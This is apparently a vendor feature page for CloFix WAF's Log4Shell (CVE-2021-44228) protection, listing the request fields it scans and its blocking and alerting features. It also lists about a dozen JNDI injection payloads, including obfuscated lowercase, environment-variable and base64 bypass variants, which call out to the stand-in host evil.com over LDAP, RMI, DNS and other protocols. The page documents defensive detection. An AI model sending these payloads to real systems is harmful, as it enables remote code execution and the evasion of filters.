Log4Shell (CVE-2021-44228) Protection
Blocks JNDI injection attacks targeting Log4j vulnerabilities. Blocks JNDI injection attacks targeting Log4j vulnerabilities.
Overview
Blocks JNDI injection attacks targeting Log4j vulnerabilities.
Feature details
Basic JNDI: ${jndi:ldap://evil.com/exploit}
Lowercase Bypass: ${jndi:${lower:l}${lower:d}ap://evil.com}
Upper/Lower Mix: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}
Environment Variables: ${${env:JNDI:-j}ndi:ldap://evil.com}
Nested Variables: ${${web:jndi}${web:ldap:}evil.com}
Base64 Encoded: ${${base64:am5kaQ==}:ldap://evil.com}
DNS Lookup: ${jndi:dns://evil.com}
RMI Protocol: ${jndi:rmi://evil.com/exploit}
IIOP Protocol: ${jndiiop://evil.com}
LDAPS Protocol: ${jndi:ldaps://evil.com}
CORBA Protocol: ${jndi:corbaname:evil.com}
Remote/Local Mix: ${${ctx:jndi}${ctx:ldap}://evil.com}
Regex-based JNDI Pattern Matching
Multi-layer Nested Expression Decoding
Environment Variable Interpolation Detection
Lowercase/Environment/Base64 Bypass Detection
All HTTP Headers Scanning (User-Agent, Referer, X-Forwarded-For, Cookie, Authorization, etc.)
Query String Parameter Inspection
POST Body (JSON, XML, Form) Scanning
Path Parameter Validation
WebSocket Message Inspection
HTTP Headers
User-Agent, Referer, X-Forwarded-For, X-Real-IP, Cookie, Authorization, Origin
Query Parameters
All URL parameters
Request Body
JSON, XML, Form data, Multipart uploads
URL Path
Path segments, file extensions
Uploaded Files
Filename, content inspection
WebSocket
Message frames
Immediate request blocking on JNDI pattern match
IP-based blocking with nftables/firewall
Fingerprint-based rate limiting
Automatic attack logging to ClickHouse
Real-time alerts (Slack, Email, FCM, WebSocket)
Suspicious pattern scoring system
WAF bypass attempt detection
How CloFix WAF uses it
Blocks JNDI injection attacks targeting Log4j vulnerabilities. Part of the CloFix WAF Core Security Features with real-time scoring, policy controls, and live analytics.
Canonical URL: https://clofix.com/features/clofix-waf/log4shell/